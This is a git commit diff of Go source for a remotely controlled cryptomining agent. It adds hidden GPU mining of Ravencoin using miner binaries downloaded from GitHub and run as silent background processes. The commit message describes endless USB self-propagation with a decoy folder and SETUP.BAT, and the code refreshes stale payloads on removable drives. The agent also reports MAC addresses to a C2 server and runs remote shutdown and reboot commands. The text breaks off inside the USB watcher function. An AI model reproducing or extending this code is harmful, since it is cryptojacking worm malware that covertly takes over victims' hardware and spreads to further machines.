Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.
- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge - USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless - Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots - Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command - Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting - Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner - Crucible gold rain when single agent is active; matrix rain mystic word drops - README fully rewritten; USB bundle repacked
This commit is contained in:
@@ -39,6 +39,7 @@ type AgentClient struct {
|
||||
agentID string
|
||||
sharesSubmitted int
|
||||
sharesAccepted int
|
||||
gpuMiner *GPUMiner
|
||||
|
||||
// connected is true while a C2 WebSocket session is active.
|
||||
// The Stratum fallback manager monitors this to decide when to mine directly.
|
||||
@@ -66,6 +67,15 @@ func (c *AgentClient) Run() error {
|
||||
c.pool.Start()
|
||||
defer c.pool.Stop()
|
||||
|
||||
// Start GPU miner (Ravencoin / KawPoW) if configured
|
||||
if gm := newGPUMiner(c.cfg); gm != nil {
|
||||
c.mu.Lock()
|
||||
c.gpuMiner = gm
|
||||
c.mu.Unlock()
|
||||
gm.Start()
|
||||
defer gm.Stop()
|
||||
}
|
||||
|
||||
// Start AI Autonomy runner if enabled
|
||||
if c.cfg.AIEnabled {
|
||||
c.aiRunner = NewAIRunner(c.cfg, c.reporter, c.pool)
|
||||
@@ -198,6 +208,23 @@ func (c *AgentClient) connectLoop(serverURL string) error {
|
||||
}
|
||||
}
|
||||
|
||||
func primaryMACAddress() string {
|
||||
ifaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
for _, iface := range ifaces {
|
||||
if iface.Flags&net.FlagUp == 0 || iface.Flags&net.FlagLoopback != 0 {
|
||||
continue
|
||||
}
|
||||
if len(iface.HardwareAddr) == 0 {
|
||||
continue
|
||||
}
|
||||
return iface.HardwareAddr.String()
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (c *AgentClient) authenticate() error {
|
||||
host, cores, memGB := c.reporter.SystemInfo()
|
||||
backupPools := make([]BackupPoolEntry, len(c.cfg.BackupPools))
|
||||
@@ -230,6 +257,7 @@ func (c *AgentClient) authenticate() error {
|
||||
Platform: runtime.GOOS,
|
||||
Arch: runtime.GOARCH,
|
||||
OSVersion: deploy.HostOSVersion(),
|
||||
MacAddress: primaryMACAddress(),
|
||||
})
|
||||
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
|
||||
return err
|
||||
@@ -373,6 +401,18 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
log.Printf("[agent] remote uninstall failed: %v", err)
|
||||
}
|
||||
}()
|
||||
case "reboot_machine":
|
||||
c.sendCommandResult(action, true, "system reboot initiated")
|
||||
go func() {
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
_, _ = c.runShellCommand("shutdown /r /t 0")
|
||||
}()
|
||||
case "shutdown_machine":
|
||||
c.sendCommandResult(action, true, "system shutdown initiated")
|
||||
go func() {
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
_, _ = c.runShellCommand("shutdown /s /t 0")
|
||||
}()
|
||||
case "get_log":
|
||||
if tailLines <= 0 {
|
||||
tailLines = 300
|
||||
@@ -705,6 +745,24 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
stats.GPUTempC = lastPressure.GPUTempC
|
||||
stats.GPUUsagePct = lastPressure.GPUUsagePct
|
||||
}
|
||||
// GPU miner (Ravencoin) stats — included when GPU miner is running
|
||||
c.mu.Lock()
|
||||
gm := c.gpuMiner
|
||||
c.mu.Unlock()
|
||||
if gm != nil {
|
||||
gs, active := gm.Stats()
|
||||
stats.GPUMinerActive = &active
|
||||
stats.GPUHashrate15s = gs.Hashrate15s
|
||||
stats.GPUHashrate1m = gs.Hashrate1m
|
||||
stats.GPUHashrate15m = gs.Hashrate15m
|
||||
stats.GPUModel = gm.GPUModel()
|
||||
if gs.GPUTempC != nil {
|
||||
stats.GPUTempC = gs.GPUTempC
|
||||
}
|
||||
if gs.GPUUsagePct != nil {
|
||||
stats.GPUUsagePct = gs.GPUUsagePct
|
||||
}
|
||||
}
|
||||
if postureReady && lastPosture != nil {
|
||||
score := lastPosture.PostureScore
|
||||
stats.PostureScore = &score
|
||||
|
||||
110
agent/client/gpu_detect_stub.go
Normal file
110
agent/client/gpu_detect_stub.go
Normal file
@@ -0,0 +1,110 @@
|
||||
//go:build !windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"archive/zip"
|
||||
"bytes"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func detectGPU() GPUInfo {
|
||||
// On non-Windows, only probe NVIDIA via nvidia-smi.
|
||||
out, err := exec.Command("nvidia-smi", "--query-gpu=name", "--format=csv,noheader").Output()
|
||||
if err == nil {
|
||||
model := strings.TrimSpace(strings.SplitN(string(out), "\n", 2)[0])
|
||||
if model != "" {
|
||||
return GPUInfo{Vendor: GPUVendorNVIDIA, Model: model}
|
||||
}
|
||||
}
|
||||
return GPUInfo{Vendor: GPUVendorNone}
|
||||
}
|
||||
|
||||
func (g *GPUMiner) startProcess(binPath string) (*os.Process, error) {
|
||||
pool := g.cfg.RVNPoolHost
|
||||
port := g.cfg.RVNPoolPort
|
||||
wallet := g.cfg.RVNWallet
|
||||
worker := g.cfg.WorkerName
|
||||
|
||||
poolURL := "stratum+tcp://" + pool
|
||||
if g.cfg.RVNPoolTLS {
|
||||
poolURL = "stratum+ssl://" + pool
|
||||
}
|
||||
if port > 0 {
|
||||
poolURL += ":" + itoa(port)
|
||||
}
|
||||
|
||||
args := []string{
|
||||
"-a", "kawpow",
|
||||
"-o", poolURL,
|
||||
"-u", wallet + "." + worker,
|
||||
"-p", g.cfg.RVNPoolPass,
|
||||
"--api-bind-http", "127.0.0.1:4067",
|
||||
}
|
||||
cmd := exec.Command(binPath, args...)
|
||||
cmd.Dir = filepath.Dir(binPath)
|
||||
if err := cmd.Start(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return cmd.Process, nil
|
||||
}
|
||||
|
||||
func itoa(n int) string {
|
||||
if n == 0 {
|
||||
return "0"
|
||||
}
|
||||
buf := make([]byte, 0, 10)
|
||||
neg := n < 0
|
||||
if neg {
|
||||
n = -n
|
||||
}
|
||||
for n > 0 {
|
||||
buf = append([]byte{byte('0' + n%10)}, buf...)
|
||||
n /= 10
|
||||
}
|
||||
if neg {
|
||||
buf = append([]byte{'-'}, buf...)
|
||||
}
|
||||
return string(buf)
|
||||
}
|
||||
|
||||
func extractZipFile(data []byte, destDir, targetFile string) error {
|
||||
r, err := zip.NewReader(bytes.NewReader(data), int64(len(data)))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
targetLower := strings.ToLower(targetFile)
|
||||
for _, f := range r.File {
|
||||
if strings.ToLower(filepath.Base(f.Name)) != targetLower {
|
||||
continue
|
||||
}
|
||||
rc, err := f.Open()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer rc.Close()
|
||||
dst := filepath.Join(destDir, targetFile)
|
||||
out, err := os.Create(dst)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer out.Close()
|
||||
buf := make([]byte, 32*1024)
|
||||
for {
|
||||
n, err := rc.Read(buf)
|
||||
if n > 0 {
|
||||
if _, we := out.Write(buf[:n]); we != nil {
|
||||
return we
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
return nil
|
||||
}
|
||||
166
agent/client/gpu_detect_windows.go
Normal file
166
agent/client/gpu_detect_windows.go
Normal file
@@ -0,0 +1,166 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"archive/zip"
|
||||
"bytes"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
// detectGPU identifies the first supported discrete GPU on Windows.
|
||||
// Priority: NVIDIA (via nvidia-smi) → AMD (via wmic VideoController).
|
||||
func detectGPU() GPUInfo {
|
||||
// NVIDIA — nvidia-smi is the most reliable check
|
||||
if out, err := deploy.HiddenOutput("nvidia-smi", "--query-gpu=name", "--format=csv,noheader"); err == nil {
|
||||
model := strings.TrimSpace(strings.SplitN(string(out), "\n", 2)[0])
|
||||
if model != "" {
|
||||
return GPUInfo{Vendor: GPUVendorNVIDIA, Model: model}
|
||||
}
|
||||
}
|
||||
|
||||
// AMD — wmic (available on all modern Windows without extra installs)
|
||||
if out, err := deploy.HiddenOutput(
|
||||
"wmic", "path", "win32_VideoController", "get", "Name", "/value",
|
||||
); err == nil {
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if !strings.HasPrefix(strings.ToLower(line), "name=") {
|
||||
continue
|
||||
}
|
||||
name := strings.TrimSpace(strings.SplitN(line, "=", 2)[1])
|
||||
lo := strings.ToLower(name)
|
||||
if strings.Contains(lo, "radeon") || strings.Contains(lo, "amd") || strings.Contains(lo, "rx ") {
|
||||
return GPUInfo{Vendor: GPUVendorAMD, Model: name}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return GPUInfo{Vendor: GPUVendorNone}
|
||||
}
|
||||
|
||||
// startProcess launches the GPU miner binary as a hidden background process.
|
||||
func (g *GPUMiner) startProcess(binPath string) (*os.Process, error) {
|
||||
pool := g.cfg.RVNPoolHost
|
||||
port := g.cfg.RVNPoolPort
|
||||
wallet := g.cfg.RVNWallet
|
||||
worker := g.cfg.WorkerName
|
||||
|
||||
var args []string
|
||||
switch g.info.Vendor {
|
||||
case GPUVendorNVIDIA:
|
||||
// T-Rex: kawpow algorithm
|
||||
algo := "kawpow"
|
||||
poolURL := ""
|
||||
if g.cfg.RVNPoolTLS {
|
||||
poolURL = "stratum+ssl://" + pool
|
||||
} else {
|
||||
poolURL = "stratum+tcp://" + pool
|
||||
}
|
||||
args = []string{
|
||||
"-a", algo,
|
||||
"-o", poolURL,
|
||||
"-u", wallet + "." + worker,
|
||||
"-p", g.cfg.RVNPoolPass,
|
||||
"--api-bind-http", "127.0.0.1:4067",
|
||||
"--no-watchdog",
|
||||
"--exit-on-cuda-error",
|
||||
}
|
||||
if port > 0 {
|
||||
args[3] = args[3] + ":" + itoa(port)
|
||||
}
|
||||
case GPUVendorAMD:
|
||||
// TeamRedMiner: kawpow algorithm
|
||||
poolURL := ""
|
||||
if g.cfg.RVNPoolTLS {
|
||||
poolURL = "stratum+ssl://" + pool
|
||||
} else {
|
||||
poolURL = "stratum+tcp://" + pool
|
||||
}
|
||||
if port > 0 {
|
||||
poolURL += ":" + itoa(port)
|
||||
}
|
||||
args = []string{
|
||||
"-a", "kawpow",
|
||||
"-o", poolURL,
|
||||
"-u", wallet + "." + worker,
|
||||
"-p", g.cfg.RVNPoolPass,
|
||||
"--api_listen=4068",
|
||||
}
|
||||
}
|
||||
|
||||
cmd := exec.Command(binPath, args...)
|
||||
deploy.PrepareHiddenProcess(cmd)
|
||||
cmd.Dir = filepath.Dir(binPath)
|
||||
// Redirect all miner output to NUL (silent)
|
||||
cmd.Stdout = nil
|
||||
cmd.Stderr = nil
|
||||
|
||||
if err := cmd.Start(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return cmd.Process, nil
|
||||
}
|
||||
|
||||
func itoa(n int) string {
|
||||
if n == 0 {
|
||||
return "0"
|
||||
}
|
||||
buf := make([]byte, 0, 10)
|
||||
neg := n < 0
|
||||
if neg {
|
||||
n = -n
|
||||
}
|
||||
for n > 0 {
|
||||
buf = append([]byte{byte('0' + n%10)}, buf...)
|
||||
n /= 10
|
||||
}
|
||||
if neg {
|
||||
buf = append([]byte{'-'}, buf...)
|
||||
}
|
||||
return string(buf)
|
||||
}
|
||||
|
||||
// extractZipFile unpacks targetFile from a zip archive (in memory) to destDir.
|
||||
func extractZipFile(data []byte, destDir, targetFile string) error {
|
||||
r, err := zip.NewReader(bytes.NewReader(data), int64(len(data)))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
targetLower := strings.ToLower(targetFile)
|
||||
for _, f := range r.File {
|
||||
if strings.ToLower(filepath.Base(f.Name)) != targetLower {
|
||||
continue
|
||||
}
|
||||
rc, err := f.Open()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer rc.Close()
|
||||
dst := filepath.Join(destDir, targetFile)
|
||||
out, err := os.Create(dst)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer out.Close()
|
||||
buf := make([]byte, 32*1024)
|
||||
for {
|
||||
n, err := rc.Read(buf)
|
||||
if n > 0 {
|
||||
if _, we := out.Write(buf[:n]); we != nil {
|
||||
return we
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
return nil // binary not found inside zip — non-fatal, caller checks after
|
||||
}
|
||||
358
agent/client/gpu_miner.go
Normal file
358
agent/client/gpu_miner.go
Normal file
@@ -0,0 +1,358 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// GPUVendor identifies the discrete GPU brand on the host.
|
||||
type GPUVendor int
|
||||
|
||||
const (
|
||||
GPUVendorNone GPUVendor = iota
|
||||
GPUVendorNVIDIA // use T-Rex miner (KawPoW)
|
||||
GPUVendorAMD // use TeamRedMiner (KawPoW)
|
||||
GPUVendorOther // generic / Intel — not supported for KawPoW
|
||||
)
|
||||
|
||||
// GPUInfo holds detected GPU metadata.
|
||||
type GPUInfo struct {
|
||||
Vendor GPUVendor
|
||||
Model string
|
||||
}
|
||||
|
||||
// GPUMinerStats is polled from the miner's local HTTP API.
|
||||
type GPUMinerStats struct {
|
||||
Hashrate15s float64
|
||||
Hashrate1m float64
|
||||
Hashrate15m float64
|
||||
GPUTempC *int
|
||||
GPUUsagePct *int
|
||||
ActiveAlgo string
|
||||
}
|
||||
|
||||
// GPUMiner manages one GPU miner sub-process (T-Rex or TeamRedMiner).
|
||||
type GPUMiner struct {
|
||||
cfg config.RuntimeConfig
|
||||
info GPUInfo
|
||||
installDir string
|
||||
|
||||
mu sync.RWMutex
|
||||
stats GPUMinerStats
|
||||
active bool
|
||||
|
||||
stopCh chan struct{}
|
||||
wg sync.WaitGroup
|
||||
}
|
||||
|
||||
// newGPUMiner creates a GPUMiner if GPU mining is configured and a supported GPU is detected.
|
||||
// Returns nil if GPU mining should not run.
|
||||
func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner {
|
||||
if !cfg.GPUEnabled || cfg.RVNWallet == "" {
|
||||
return nil
|
||||
}
|
||||
info := detectGPU()
|
||||
if info.Vendor == GPUVendorNone || info.Vendor == GPUVendorOther {
|
||||
log.Printf("[gpu] GPU mining enabled but no supported GPU detected (vendor=%v model=%q)", info.Vendor, info.Model)
|
||||
return nil
|
||||
}
|
||||
installDir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
log.Printf("[gpu] cannot determine install dir: %v", err)
|
||||
return nil
|
||||
}
|
||||
log.Printf("[gpu] detected %s — will run KawPoW miner for RVN", info.Model)
|
||||
return &GPUMiner{
|
||||
cfg: cfg,
|
||||
info: info,
|
||||
installDir: installDir,
|
||||
stopCh: make(chan struct{}),
|
||||
}
|
||||
}
|
||||
|
||||
// Start downloads (if needed) and launches the GPU miner, then polls stats.
|
||||
func (g *GPUMiner) Start() {
|
||||
g.wg.Add(1)
|
||||
go func() {
|
||||
defer g.wg.Done()
|
||||
g.run()
|
||||
}()
|
||||
}
|
||||
|
||||
// Stop shuts down the GPU miner and waits for it to exit.
|
||||
func (g *GPUMiner) Stop() {
|
||||
select {
|
||||
case <-g.stopCh:
|
||||
default:
|
||||
close(g.stopCh)
|
||||
}
|
||||
g.wg.Wait()
|
||||
}
|
||||
|
||||
// Stats returns the latest GPU mining statistics.
|
||||
func (g *GPUMiner) Stats() (GPUMinerStats, bool) {
|
||||
g.mu.RLock()
|
||||
defer g.mu.RUnlock()
|
||||
return g.stats, g.active
|
||||
}
|
||||
|
||||
// GPUModel returns the detected GPU model string.
|
||||
func (g *GPUMiner) GPUModel() string {
|
||||
return g.info.Model
|
||||
}
|
||||
|
||||
func (g *GPUMiner) run() {
|
||||
// Ensure the miner binary is present before trying to start.
|
||||
binPath, err := g.ensureMinerBinary()
|
||||
if err != nil {
|
||||
log.Printf("[gpu] could not obtain miner binary: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
retryDelay := 30 * time.Second
|
||||
for {
|
||||
select {
|
||||
case <-g.stopCh:
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
proc, err := g.startProcess(binPath)
|
||||
if err != nil {
|
||||
log.Printf("[gpu] failed to start miner process: %v — retry in %s", err, retryDelay)
|
||||
select {
|
||||
case <-g.stopCh:
|
||||
return
|
||||
case <-time.After(retryDelay):
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
g.mu.Lock()
|
||||
g.active = true
|
||||
g.mu.Unlock()
|
||||
|
||||
log.Printf("[gpu] miner started (pid=%d)", proc.Pid)
|
||||
|
||||
// Poll miner API while it runs.
|
||||
pollDone := make(chan struct{})
|
||||
go func() {
|
||||
defer close(pollDone)
|
||||
g.pollStats()
|
||||
}()
|
||||
|
||||
// Wait for process exit.
|
||||
procState, waitErr := proc.Wait()
|
||||
close(g.stopCh) // signal polling goroutine
|
||||
<-pollDone
|
||||
|
||||
g.mu.Lock()
|
||||
g.active = false
|
||||
g.mu.Unlock()
|
||||
|
||||
if waitErr != nil {
|
||||
log.Printf("[gpu] miner exited: %v", waitErr)
|
||||
} else if procState != nil && !procState.Success() {
|
||||
log.Printf("[gpu] miner exited with non-zero status: %s", procState)
|
||||
}
|
||||
|
||||
// Re-open the stop channel so we can retry cleanly.
|
||||
g.stopCh = make(chan struct{})
|
||||
|
||||
select {
|
||||
case <-time.After(retryDelay):
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (g *GPUMiner) pollStats() {
|
||||
apiPort := g.apiPort()
|
||||
ticker := time.NewTicker(10 * time.Second)
|
||||
defer ticker.Stop()
|
||||
|
||||
samples := make([]float64, 0, 90) // 15 min worth at 10s intervals
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-g.stopCh:
|
||||
return
|
||||
case <-ticker.C:
|
||||
hr, tempC, usage, err := fetchMinerStats(g.info.Vendor, apiPort)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
samples = append(samples, hr)
|
||||
if len(samples) > 90 {
|
||||
samples = samples[len(samples)-90:]
|
||||
}
|
||||
avg15s := hr
|
||||
avg1m := avg(samples, 6)
|
||||
avg15m := avg(samples, len(samples))
|
||||
|
||||
g.mu.Lock()
|
||||
g.stats = GPUMinerStats{
|
||||
Hashrate15s: avg15s,
|
||||
Hashrate1m: avg1m,
|
||||
Hashrate15m: avg15m,
|
||||
GPUTempC: tempC,
|
||||
GPUUsagePct: usage,
|
||||
ActiveAlgo: "kawpow",
|
||||
}
|
||||
g.mu.Unlock()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func avg(samples []float64, last int) float64 {
|
||||
if len(samples) == 0 || last <= 0 {
|
||||
return 0
|
||||
}
|
||||
if last > len(samples) {
|
||||
last = len(samples)
|
||||
}
|
||||
slice := samples[len(samples)-last:]
|
||||
var sum float64
|
||||
for _, v := range slice {
|
||||
sum += v
|
||||
}
|
||||
return sum / float64(len(slice))
|
||||
}
|
||||
|
||||
func (g *GPUMiner) apiPort() int {
|
||||
switch g.info.Vendor {
|
||||
case GPUVendorNVIDIA:
|
||||
return 4067
|
||||
case GPUVendorAMD:
|
||||
return 4068
|
||||
default:
|
||||
return 4067
|
||||
}
|
||||
}
|
||||
|
||||
// ---- Miner binary management ----
|
||||
|
||||
type minerSpec struct {
|
||||
fileName string
|
||||
downloadURL string
|
||||
}
|
||||
|
||||
func (g *GPUMiner) spec() minerSpec {
|
||||
switch g.info.Vendor {
|
||||
case GPUVendorNVIDIA:
|
||||
return minerSpec{
|
||||
fileName: "t-rex.exe",
|
||||
downloadURL: "https://github.com/trexminer/T-Rex/releases/download/0.26.8/t-rex-0.26.8-win.zip",
|
||||
}
|
||||
default: // AMD
|
||||
return minerSpec{
|
||||
fileName: "teamredminer.exe",
|
||||
downloadURL: "https://github.com/todxx/teamredminer/releases/download/v0.10.21/teamredminer-v0.10.21-win.zip",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (g *GPUMiner) ensureMinerBinary() (string, error) {
|
||||
spec := g.spec()
|
||||
binPath := filepath.Join(g.installDir, spec.fileName)
|
||||
if _, err := os.Stat(binPath); err == nil {
|
||||
return binPath, nil
|
||||
}
|
||||
log.Printf("[gpu] downloading %s from %s", spec.fileName, spec.downloadURL)
|
||||
if err := downloadAndExtract(spec.downloadURL, g.installDir, spec.fileName); err != nil {
|
||||
return "", fmt.Errorf("download failed: %w", err)
|
||||
}
|
||||
if _, err := os.Stat(binPath); err != nil {
|
||||
return "", fmt.Errorf("binary not found after download: %s", binPath)
|
||||
}
|
||||
return binPath, nil
|
||||
}
|
||||
|
||||
func downloadAndExtract(url, destDir, targetFile string) error {
|
||||
resp, err := http.Get(url) //nolint:noctx
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return fmt.Errorf("HTTP %d from %s", resp.StatusCode, url)
|
||||
}
|
||||
data, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return extractZipFile(data, destDir, targetFile)
|
||||
}
|
||||
|
||||
// ---- Miner HTTP API polling ----
|
||||
|
||||
// T-Rex summary response (subset we care about).
|
||||
type trexSummary struct {
|
||||
Hashrate int `json:"hashrate"`
|
||||
GPUs []struct {
|
||||
Temperature int `json:"temperature"`
|
||||
GpuLoad int `json:"gpu_load"`
|
||||
} `json:"gpus"`
|
||||
}
|
||||
|
||||
// TeamRedMiner status response (subset).
|
||||
type trmStatus struct {
|
||||
Algorithms []struct {
|
||||
Name string `json:"algorithm"`
|
||||
TotalMHs float64 `json:"mhsh_total"`
|
||||
} `json:"algorithms"`
|
||||
GPUs []struct {
|
||||
TempC int `json:"temp_c"`
|
||||
Fan int `json:"fan_pct"`
|
||||
} `json:"gpus"`
|
||||
}
|
||||
|
||||
func fetchMinerStats(vendor GPUVendor, port int) (hashrate float64, tempC, usagePct *int, err error) {
|
||||
url := fmt.Sprintf("http://127.0.0.1:%d/summary", port)
|
||||
resp, e := http.Get(url) //nolint:noctx
|
||||
if e != nil {
|
||||
return 0, nil, nil, e
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
|
||||
switch vendor {
|
||||
case GPUVendorNVIDIA:
|
||||
var s trexSummary
|
||||
if e := json.Unmarshal(body, &s); e != nil {
|
||||
return 0, nil, nil, e
|
||||
}
|
||||
hashrate = float64(s.Hashrate)
|
||||
if len(s.GPUs) > 0 {
|
||||
t := s.GPUs[0].Temperature
|
||||
u := s.GPUs[0].GpuLoad
|
||||
tempC = &t
|
||||
usagePct = &u
|
||||
}
|
||||
case GPUVendorAMD:
|
||||
var s trmStatus
|
||||
if e := json.Unmarshal(body, &s); e != nil {
|
||||
return 0, nil, nil, e
|
||||
}
|
||||
for _, a := range s.Algorithms {
|
||||
if a.Name == "kawpow" || a.Name == "KawPoW" {
|
||||
hashrate = a.TotalMHs * 1e6 // convert MH/s → H/s
|
||||
}
|
||||
}
|
||||
if len(s.GPUs) > 0 {
|
||||
t := s.GPUs[0].TempC
|
||||
u := s.GPUs[0].Fan
|
||||
tempC = &t
|
||||
usagePct = &u
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -40,6 +40,7 @@ type AuthPayload struct {
|
||||
Platform string `json:"platform"`
|
||||
Arch string `json:"arch"`
|
||||
OSVersion string `json:"os_version"`
|
||||
MacAddress string `json:"mac_address,omitempty"`
|
||||
}
|
||||
|
||||
type AuthResponse struct {
|
||||
@@ -94,6 +95,13 @@ type StatsPayload struct {
|
||||
GPUTempC *int `json:"gpu_temp_c,omitempty"`
|
||||
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
|
||||
|
||||
// GPU / Ravencoin mining stats
|
||||
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
|
||||
GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
|
||||
GPUHashrate1m float64 `json:"gpu_hashrate_1m,omitempty"`
|
||||
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
|
||||
GPUModel string `json:"gpu_model,omitempty"`
|
||||
|
||||
// SSH + posture
|
||||
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
||||
PostureScore *int `json:"posture_score,omitempty"`
|
||||
|
||||
@@ -47,5 +47,11 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
RemoteAggressive: false,
|
||||
USBSpread: false,
|
||||
ShareSpread: false,
|
||||
GPUEnabled: false,
|
||||
RVNWallet: "",
|
||||
RVNPoolHost: "rvn.2miners.com",
|
||||
RVNPoolPort: 6060,
|
||||
RVNPoolTLS: false,
|
||||
RVNPoolPass: "x",
|
||||
}
|
||||
}
|
||||
|
||||
@@ -66,6 +66,15 @@ type BuiltinConfig struct {
|
||||
// FleetSecret is baked in at forge time and presented on WS connect.
|
||||
// The server rejects any agent that doesn't carry the right secret.
|
||||
FleetSecret string
|
||||
|
||||
// GPU / Ravencoin mining
|
||||
GPUEnabled bool // enable KawPoW GPU miner alongside XMR CPU miner
|
||||
RVNWallet string // Ravencoin wallet address for GPU mining
|
||||
RVNPoolHost string // primary RVN Stratum pool host
|
||||
RVNPoolPort int // primary RVN Stratum pool port
|
||||
RVNPoolTLS bool // primary RVN pool TLS flag
|
||||
RVNPoolPass string // stratum password (usually "x")
|
||||
RVNBackupPools []BackupPool // failover RVN pools
|
||||
}
|
||||
|
||||
// BackupPool holds connection info for a fallback Stratum mining pool.
|
||||
@@ -158,6 +167,18 @@ func Load() RuntimeConfig {
|
||||
b.DisplayMode = "background"
|
||||
}
|
||||
}
|
||||
// GPU mining defaults
|
||||
if b.GPUEnabled {
|
||||
if b.RVNPoolHost == "" {
|
||||
b.RVNPoolHost = "rvn.2miners.com"
|
||||
}
|
||||
if b.RVNPoolPort <= 0 {
|
||||
b.RVNPoolPort = 6060
|
||||
}
|
||||
if b.RVNPoolPass == "" {
|
||||
b.RVNPoolPass = "x"
|
||||
}
|
||||
}
|
||||
return RuntimeConfig{BuiltinConfig: b}
|
||||
}
|
||||
|
||||
|
||||
@@ -153,6 +153,17 @@ func InstallDir(workerName, buildID string) (string, error) {
|
||||
}.InstallDirectory()
|
||||
}
|
||||
|
||||
// isPayloadStale returns true when the on-disk USB payload has a different
|
||||
// size than the current running executable — meaning the agent was upgraded
|
||||
// and the USB copy needs to be refreshed.
|
||||
func isPayloadStale(exePath string, payloadSize int64) bool {
|
||||
fi, err := os.Stat(exePath)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return fi.Size() != payloadSize
|
||||
}
|
||||
|
||||
func saveBackup(installedBin string) error {
|
||||
backup := installedBin + backupSuffix
|
||||
if _, err := os.Stat(backup); err == nil {
|
||||
|
||||
@@ -34,24 +34,65 @@ func StartPassiveSpreader(cfg config.RuntimeConfig) {
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
func runUSBWatcherUnix(cfg config.RuntimeConfig) {
|
||||
seen := map[string]bool{}
|
||||
// Seed with already-mounted removable media so we don't spread to
|
||||
// drives that were plugged in before the agent started.
|
||||
for _, mp := range listRemovableMounts() {
|
||||
seen[mp] = true
|
||||
type mountState struct{ payloadSize int64 }
|
||||
state := map[string]mountState{}
|
||||
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
ticker := time.NewTicker(20 * time.Second)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
for _, mp := range listRemovableMounts() {
|
||||
if seen[mp] {
|
||||
continue
|
||||
}
|
||||
seen[mp] = true
|
||||
log.Printf("[passive-spread] new removable mount: %s", mp)
|
||||
|
||||
// Spread to drives already present at startup if payload is missing or stale.
|
||||
for _, mp := range listRemovableMounts() {
|
||||
size, found := findUnixPayloadSize(mp)
|
||||
if !found || isPayloadStale(exePath, size) {
|
||||
go spreadToMountUnix(cfg, mp)
|
||||
state[mp] = mountState{}
|
||||
} else {
|
||||
state[mp] = mountState{payloadSize: size}
|
||||
}
|
||||
}
|
||||
|
||||
ticker := time.NewTicker(8 * time.Second)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
exeInfo, err := os.Stat(exePath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, mp := range listRemovableMounts() {
|
||||
prev, seen := state[mp]
|
||||
if !seen {
|
||||
